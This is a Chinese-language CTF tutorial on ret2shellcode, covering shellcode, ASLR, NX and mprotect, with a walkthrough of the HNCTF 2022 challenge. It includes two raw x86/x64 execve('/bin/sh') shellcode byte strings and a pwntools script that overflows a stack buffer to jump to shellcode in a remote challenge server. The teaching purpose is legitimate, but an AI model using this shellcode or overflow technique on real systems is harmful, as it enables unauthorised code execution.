參考連結 :基本 ROP - CTF Wiki (ctf-wiki.org)
參考連結: https://www.freebuf.com/vuls/266711.html
參考連結:PWN入門(2-2-1)-棧遷移(x86) (yuque.com)
介紹
棧溢位漏洞的一種利用方式,透過向可寫入可執行記憶體寫入shellcode,並利用棧溢位漏洞將返回地址覆蓋為shellcode的首地址加以執行。
原理
在講原理之前我們先講一下shellcode是什麼?
Shellcode是什麼?
shellcode 是一種小型程式程式碼,通常是以機器碼的形式存在,被用於在目標系統上執行特定的服務。
通俗說就是一段可以獲得shell的機器碼
shellcode的特徵和利用
1.自包含性
shellcode通常是自包含的,這意味著它不依賴於外部的庫或資源,能夠獨立執行。
2.編寫方式
shellcode 通常是用匯編語言編寫的,然後彙編成機器碼,這是因為機器碼可以直接在目標系統的處理器上執行,並且具有很高的執行效率。
3.常見用途
在CTF中主要用途為獲得一個 shell。
shellcode程式碼
shellcode 21 位元組
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
shellcode 23 位元組
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
ASLR保護
ASLR是一個Linux系統保護機制,有效的防止了很多漏洞。
ASLR是作業系統的功能選項,在ELF檔案載入到記憶體的時候發動,會影響到棧、動態連結庫、堆的基址。開啟後,每次程式載入使棧、動態連結庫、堆的基地址都會隨機化。
ASLR有三種狀態
/proc/sys/kernel/randomize_va_space的值決定著ASLR的狀態
1.為0,地址隨機化關閉
2.為1,隨機化stack、mmap對映、vdso
3.為,2隨機化stack、mmap對映、vdso、heap(預設選項)
NX保護
NX保護機制的全寫為 NO-Execute(不可執行),NX的原理是將資料所在記憶體頁標識為不可執行,當程式被劫持到資料頁(不可執行記憶體)時,程式會嘗試在資料頁面上執行指令,因為資料頁被標記為不可執行,此時CPU就會丟擲異常,而不是去執行資料。
早期我們將shellcode寫入緩衝區執行,但是因為ASLR保護的出現這種利用方法難度越來越高。
除此之外還可以向其他可讀可寫段,比如bss段寫入shellcode,然後將程式流指向其地址就可以執行。
一般ret2shellcode的前提是沒有NX保護,但是即便存在NX保護也有辦法shellcode。
這裡介紹一個可以修改記憶體許可權的函式。
mprotect函式,可以改寫記憶體許可權
- 第一個引數:開始地址(該地址應是0x1000的倍數,以頁方式對齊)
- 第二個引數:指定長度(長度也應該是0x1000的倍數)
- 第三個引數:指定屬性(r=4、w=2、x=1)
如果程式中存在這個函式就可以呼叫這個函式修改記憶體許可權實現ret2shellcode。
例題
[HNCTF 2022 Week1]ret2shellcode
下載附件
拿到附件後,先進行checksec保護分析。
可以看到程式只存在NX保護和RELRO保護。
分析main函式程式碼
發現危險函式read,分析程式碼邏輯
定義一個char型陣列s,長度為256,read函式從標準輸入讀取0x110個字元即十進位制272個字元。讀取字元數超過陣列長度,所以判斷這裡存在棧溢位。並且溢位16個位元組,足夠覆蓋掉rbp和返回地址。
strcpy函式將陣列s的所有內容複製到buff中。buff位於bss段,即未初始化全域性變數。但是bss段並沒有可執行許可權,也就是shellcode不可執行
這時發現mprotect函式
函式中引數為7,即將這段記憶體區域修改為可讀可寫可執行。
動態除錯檢視buff是否在修改後的可執行段中
檢視函式執行前的buff許可權
buff地址:0x4040a0
函式執行後的buff許可權
分析發現函式執行之後buff有了可執行許可權。
於是我們可以用ret2shellcode
透過將shell寫入這段記憶體中,再透過棧溢位覆蓋返回地址為buff地址將rip指標暫存器指向其地址執行shell。
exp
from pwn import *
context(log_level="debug",arch="amd64")
p=remote("node5.anna.nssctf.cn",22419)
elf=ELF("./pwn")
#生成shell
#這裡也可以使用現成的shellcode
#shellcode="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
shellcode = asm(shellcraft.sh())
buf_addr = elf.symbols["buf"]
#shellcode指定為0x108位元組最大寬度,不夠用a補齊
p.sendline(shellcode.ljust(0x108,b"a") + p64(buf_addr))
p.interactive()
拿到flag